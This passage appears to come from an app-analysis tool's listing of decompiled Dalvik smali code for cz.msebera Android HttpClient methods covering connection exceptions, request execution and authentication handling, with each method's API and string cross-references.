        55invoke-virtual {p3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        58move-result-object p3
        59goto/16 :goto_56
        60cond_54:
        61const-string p3, " timed out"
        62goto_56:
        63invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        66move-result-object p3
        68invoke-direct {p0, p3}, Ljava/io/InterruptedIOException;-><init>(Ljava/lang/String;)V
        69iput-object p2, p0, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;->host:Lcz/msebera/android/httpclient/HttpHost;
        71invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
        72return-void
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Arrays.asList
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.ConnectException.<init>
        • cz.msebera.android.httpclient.conn.HttpHostConnectException.initCause
        Strings
        • Connect to
        • remote host
        • failed:
        • refused
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "Connect to "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7if-eqz p2, :cond_11
        9invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        10move-result-object v1
        11goto/16 :goto_13
        12cond_11:
        13const-string v1, "remote host"
        14goto_13:
        15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16if-eqz p3, :cond_31
        17array-length v1, p3
        18if-lez v1, :cond_31
        19new-instance v1, Ljava/lang/StringBuilder;
        21invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        23const-string v2, " "
        25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27invoke-static {p3}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
        28move-result-object p3
        30invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        33move-result-object p3
        34goto/16 :goto_33
        35cond_31:
        36const-string p3, ""
        37goto_33:
        38invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        39if-eqz p1, :cond_54
        41invoke-virtual {p1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        42move-result-object p3
        43if-eqz p3, :cond_54
        44new-instance p3, Ljava/lang/StringBuilder;
        46invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        48const-string v1, " failed: "
        50invoke-virtual {p3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {p1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        53move-result-object v1
        55invoke-virtual {p3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        58move-result-object p3
        59goto/16 :goto_56
        60cond_54:
        61const-string p3, " refused"
        62goto_56:
        63invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        66move-result-object p3
        68invoke-direct {p0, p3}, Ljava/net/ConnectException;-><init>(Ljava/lang/String;)V
        69iput-object p2, p0, Lcz/msebera/android/httpclient/conn/HttpHostConnectException;->host:Lcz/msebera/android/httpclient/HttpHost;
        71invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/conn/HttpHostConnectException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
        72return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        • java.net.URI.isAbsolute
        • java.net.URI.getHost
        • java.net.URI.getPort
        • java.net.URI.getScheme
        • java.io.InterruptedIOException.<init>
        • java.io.InterruptedIOException.initCause
        • java.util.concurrent.ExecutionException.getCause
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        • java.lang.Thread.currentThread
        • java.lang.Thread.interrupt
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        Strings
        • HTTP route
        • HTTP request
        • HTTP context
        • Request aborted
        • http.target_host
        • http.request
        • http.connection
        • http.route
        • Connection has been shut down
        • Request execution failed
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        7const-string v0, "HTTP route"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP request"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "HTTP context"
        17invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19invoke-static {p2, p1}, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->rewriteRequestURI(Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        21iget-object v0, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        22const/4 v1, 0x0
        24invoke-interface {v0, p1, v1}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->requestConnection(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Ljava/lang/Object;)Lcz/msebera/android/httpclient/conn/ConnectionRequest;
        25move-result-object v0
        26if-eqz p4, :cond_30
        28invoke-interface {p4}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->isAborted()Z
        29move-result v2
        30if-nez v2, :cond_25
        32invoke-interface {p4, v0}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->setCancellable(Lcz/msebera/android/httpclient/concurrent/Cancellable;)V
        33goto/16 :goto_30
        34cond_25:
        35invoke-interface {v0}, Lcz/msebera/android/httpclient/conn/ConnectionRequest;->cancel()Z
        36new-instance p1, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        38const-string p2, "Request aborted"
        40invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;)V
        41throw p1
        42cond_30:
        43invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        44move-result-object v2
        45try_start_34:
        46invoke-virtual {v2}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getConnectionRequestTimeout()I
        47move-result v3
        48if-lez v3, :cond_3c
        49int-to-long v3, v3
        50goto/16 :goto_3e
        51cond_3c: const-wide/16 v3, 0x0
        52goto_3e:
        53sget-object v5, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        55invoke-interface {v0, v3, v4, v5}, Lcz/msebera/android/httpclient/conn/ConnectionRequest;->get(JLjava/util/concurrent/TimeUnit;)Lcz/msebera/android/httpclient/HttpClientConnection;
        56move-result-object v0
        57try_end_44: new-instance v3, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;
        59iget-object v4, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        61iget-object v5, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        63invoke-direct {v3, v4, v5, v0}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;-><init>(Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;Lcz/msebera/android/httpclient/HttpClientConnection;)V
        64if-eqz p4, :cond_70
        65try_start_4f:
        66invoke-interface {p4}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->isAborted()Z
        67move-result v4
        68if-nez v4, :cond_59
        70invoke-interface {p4, v3}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->setCancellable(Lcz/msebera/android/httpclient/concurrent/Cancellable;)V
        71goto/16 :goto_70
        72cond_59:
        73invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->close()V
        74new-instance p1, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        76const-string p2, "Request aborted"
        78invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;)V
        79throw p1
        80catch_64: move-exception p1
        81goto/16 :goto_118
        82catch_67: move-exception p1
        83goto/16 :goto_11c
        84catch_6a: move-exception p1
        85goto/16 :goto_120
        86catch_6d: move-exception p1
        87goto/16 :goto_124
        88cond_70:
        89invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpClientConnection;->isOpen()Z
        90move-result p4
        91if-nez p4, :cond_88
        93invoke-virtual {v2}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getConnectTimeout()I
        94move-result p4
        96iget-object v4, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        97if-lez p4, :cond_7f
        98goto/16 :goto_80
        99cond_7f: const/4 p4, 0x0
        100goto_80:
        101invoke-interface {v4, v0, p1, p4, p3}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->connect(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;ILcz/msebera/android/httpclient/protocol/HttpContext;)V
        103iget-object p4, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        105invoke-interface {p4, v0, p1, p3}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->routeComplete(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        106cond_88:
        107invoke-virtual {v2}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getSocketTimeout()I
        108move-result p4
        109if-ltz p4, :cond_91
        111invoke-interface {v0, p4}, Lcz/msebera/android/httpclient/HttpClientConnection;->setSocketTimeout(I)V
        112cond_91:
        113invoke-virtual {p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getOriginal()Lcz/msebera/android/httpclient/HttpRequest;
        114move-result-object p4
        115instance-of v2, p4, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        116if-eqz v2, :cond_b7
        117check-cast p4, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        119invoke-interface {p4}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        120move-result-object p4
        122invoke-virtual {p4}, Ljava/net/URI;->isAbsolute()Z
        123move-result v2
        124if-eqz v2, :cond_b7
        125new-instance v2, Lcz/msebera/android/httpclient/HttpHost;
        127invoke-virtual {p4}, Ljava/net/URI;->getHost()Ljava/lang/String;
        128move-result-object v4
        130invoke-virtual {p4}, Ljava/net/URI;->getPort()I
        131move-result v5
        133invoke-virtual {p4}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        134move-result-object p4
        136invoke-direct {v2, v4, v5, p4}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        137goto/16 :goto_b8
        138cond_b7: move-object v2, v1
        139goto_b8: if-nez v2, :cond_be
        141invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        142move-result-object v2
        143cond_be:
        144const-string p4, "http.target_host"
        146invoke-virtual {p3, p4, v2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        148const-string p4, "http.request"
        150invoke-virtual {p3, p4, p2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        152const-string p4, "http.connection"
        154invoke-virtual {p3, p4, v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        156const-string p4, "http.route"
        158invoke-virtual {p3, p4, p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        160iget-object p1, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        162invoke-interface {p1, p2, p3}, Lcz/msebera/android/httpclient/protocol/HttpProcessor;->process(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        164iget-object p1, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->requestExecutor:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        166invoke-virtual {p1, p2, v0, p3}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->execute(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        167move-result-object p1
        169iget-object p2, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        171invoke-interface {p2, p1, p3}, Lcz/msebera/android/httpclient/protocol/HttpProcessor;->process(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        173iget-object p2, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        175invoke-interface {p2, p1, p3}, Lcz/msebera/android/httpclient/ConnectionReuseStrategy;->keepAlive(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        176move-result p2
        177if-eqz p2, :cond_f9
        179iget-object p2, p0, Lcz/msebera/android/httpclient/impl/execchain/MinimalClientExec;->keepAliveStrategy:Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;
        181invoke-interface {p2, p1, p3}, Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;->getKeepAliveDuration(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)J
        182move-result-wide p2
        184sget-object p4, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        186invoke-virtual {v3, p2, p3, p4}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->setValidFor(JLjava/util/concurrent/TimeUnit;)V
        188invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->markReusable()V
        189goto/16 :goto_fc
        190cond_f9:
        191invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->markNonReusable()V
        192goto_fc:
        193invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        194move-result-object p2
        195if-eqz p2, :cond_10f
        197invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpEntity;->isStreaming()Z
        198move-result p2
        199if-nez p2, :cond_109
        200goto/16 :goto_10f
        201cond_109: new-instance p2, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;
        203invoke-direct {p2, p1, v3}, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;-><init>(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;)V
        204return-object p2
        205goto_10f:
        206invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->releaseConnection()V
        207new-instance p2, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;
        209invoke-direct {p2, p1, v1}, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;-><init>(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;)V
        210try_end_117: return-object p2
        211goto_118:
        212invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->abortConnection()V
        213throw p1
        214goto_11c:
        215invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->abortConnection()V
        216throw p1
        217goto_120:
        218invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->abortConnection()V
        219throw p1
        220goto_124: new-instance p2, Ljava/io/InterruptedIOException;
        222const-string p3, "Connection has been shut down"
        224invoke-direct {p2, p3}, Ljava/io/InterruptedIOException;-><init>(Ljava/lang/String;)V
        226invoke-virtual {p2, p1}, Ljava/io/InterruptedIOException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
        227throw p2
        228catch_12f: move-exception p1
        230invoke-virtual {p1}, Ljava/util/concurrent/ExecutionException;->getCause()Ljava/lang/Throwable;
        231move-result-object p2
        232if-nez p2, :cond_137
        233goto/16 :goto_138
        234cond_137: move-object p1, p2
        235goto_138: new-instance p2, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        237const-string p3, "Request execution failed"
        239invoke-direct {p2, p3, p1}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        240throw p2
        241catch_140: move-exception p1
        243invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        244move-result-object p2
        246invoke-virtual {p2}, Ljava/lang/Thread;->interrupt()V
        247new-instance p2, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        249const-string p3, "Request aborted"
        251invoke-direct {p2, p3, p1}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        252throw p2
        Cross References
        APIs
        • cz.msebera.android.httpclient.auth.AuthProtocolState.ordinal
        • java.util.Queue.isEmpty
        • java.util.Queue.remove
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.auth.AuthenticationException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.auth.AuthenticationException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Generating response to an authentication challenge using
        • scheme
        • authentication error:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        8move-result-object v0
        10invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/AuthState;->getCredentials()Lcz/msebera/android/httpclient/auth/Credentials;
        11move-result-object v1
        13sget-object v2, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator$1;->$SwitchMap$cz$msebera$android$httpclient$auth$AuthProtocolState:[I
        15invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        16move-result-object v3
        18invoke-virtual {v3}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->ordinal()I
        19move-result v3
        20aget v2, v2, v3
        21const/4 v3, 0x1
        22if-eq v2, v3, :cond_27
        23packed-switch v2, :pswitch_data_d0
        24goto/16 :goto_9e
        25pswitch_1c: return-void
        26pswitch_1d:
        27invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->ensureAuthScheme(Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        29invoke-interface {v0}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        30move-result p2
        31if-eqz p2, :cond_9e
        32return-void
        33cond_27:
        34invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthOptions()Ljava/util/Queue;
        35move-result-object v2
        36if-eqz v2, :cond_9b
        37goto_2d:
        38invoke-interface {v2}, Ljava/util/Queue;->isEmpty()Z
        39move-result v0
        40if-nez v0, :cond_9a
        42invoke-interface {v2}, Ljava/util/Queue;->remove()Ljava/lang/Object;
        43move-result-object v0
        44check-cast v0, Lcz/msebera/android/httpclient/auth/AuthOption;
        46invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthOption;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        47move-result-object v1
        49invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthOption;->getCredentials()Lcz/msebera/android/httpclient/auth/Credentials;
        50move-result-object v0
        52invoke-virtual {p2, v1, v0}, Lcz/msebera/android/httpclient/auth/AuthState;->update(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;)V
        54iget-object v3, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        56invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        57move-result v3
        58if-eqz v3, :cond_6b
        60iget-object v3, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        61new-instance v4, Ljava/lang/StringBuilder;
        63invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        65const-string v5, "Generating response to an authentication challenge using "
        67invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        69invoke-interface {v1}, Lcz/msebera/android/httpclient/auth/AuthScheme;->getSchemeName()Ljava/lang/String;
        70move-result-object v5
        72invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        74const-string v5, " scheme"
        76invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        79move-result-object v4
        81invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        82cond_6b:
        83invoke-direct {p0, v1, v0, p1, p3}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->doAuth(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/Header;
        84move-result-object v0
        86invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        87try_end_72: goto/16 :goto_9a
        88catch_73: move-exception v0
        90iget-object v3, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        92invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        93move-result v3
        94if-eqz v3, :cond_2d
        96iget-object v3, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        97new-instance v4, Ljava/lang/StringBuilder;
        99invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        101invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        103const-string v1, " authentication error: "
        105invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        107invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthenticationException;->getMessage()Ljava/lang/String;
        108move-result-object v0
        110invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        112invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        113move-result-object v0
        115invoke-virtual {v3, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        116goto/16 :goto_2d
        117cond_9a: return-void
        118cond_9b:
        119invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->ensureAuthScheme(Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        120goto_9e: if-eqz v0, :cond_ce
        121try_start_a0:
        122invoke-direct {p0, v0, v1, p1, p3}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->doAuth(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/Header;
        123move-result-object p2
        125invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        126try_end_a7: goto/16 :goto_ce
        127catch_a8: move-exception p1
        129iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        131invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isErrorEnabled()Z
        132move-result p2
        133if-eqz p2, :cond_ce
        135iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        136new-instance p3, Ljava/lang/StringBuilder;
        138invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        140invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        142const-string v0, " authentication error: "
        144invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        146invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthenticationException;->getMessage()Ljava/lang/String;
        147move-result-object p1
        149invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        151invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        152move-result-object p1
        154invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->error(Ljava/lang/Object;)V
        155goto_ce: return-void
        156nop
        APIs
        • cz.msebera.android.httpclient.auth.AuthProtocolState.ordinal
        • java.util.Queue.isEmpty
        • java.util.Queue.remove
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.auth.AuthenticationException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.auth.AuthenticationException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Generating response to an authentication challenge using
        • scheme
        • authentication error:
        Position Instruction Meta Information
        1invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        2move-result-object v0
        4invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->getCredentials()Lcz/msebera/android/httpclient/auth/Credentials;
        5move-result-object v1
        7sget-object v2, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase$1;->$SwitchMap$cz$msebera$android$httpclient$auth$AuthProtocolState:[I
        9invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        10move-result-object v3
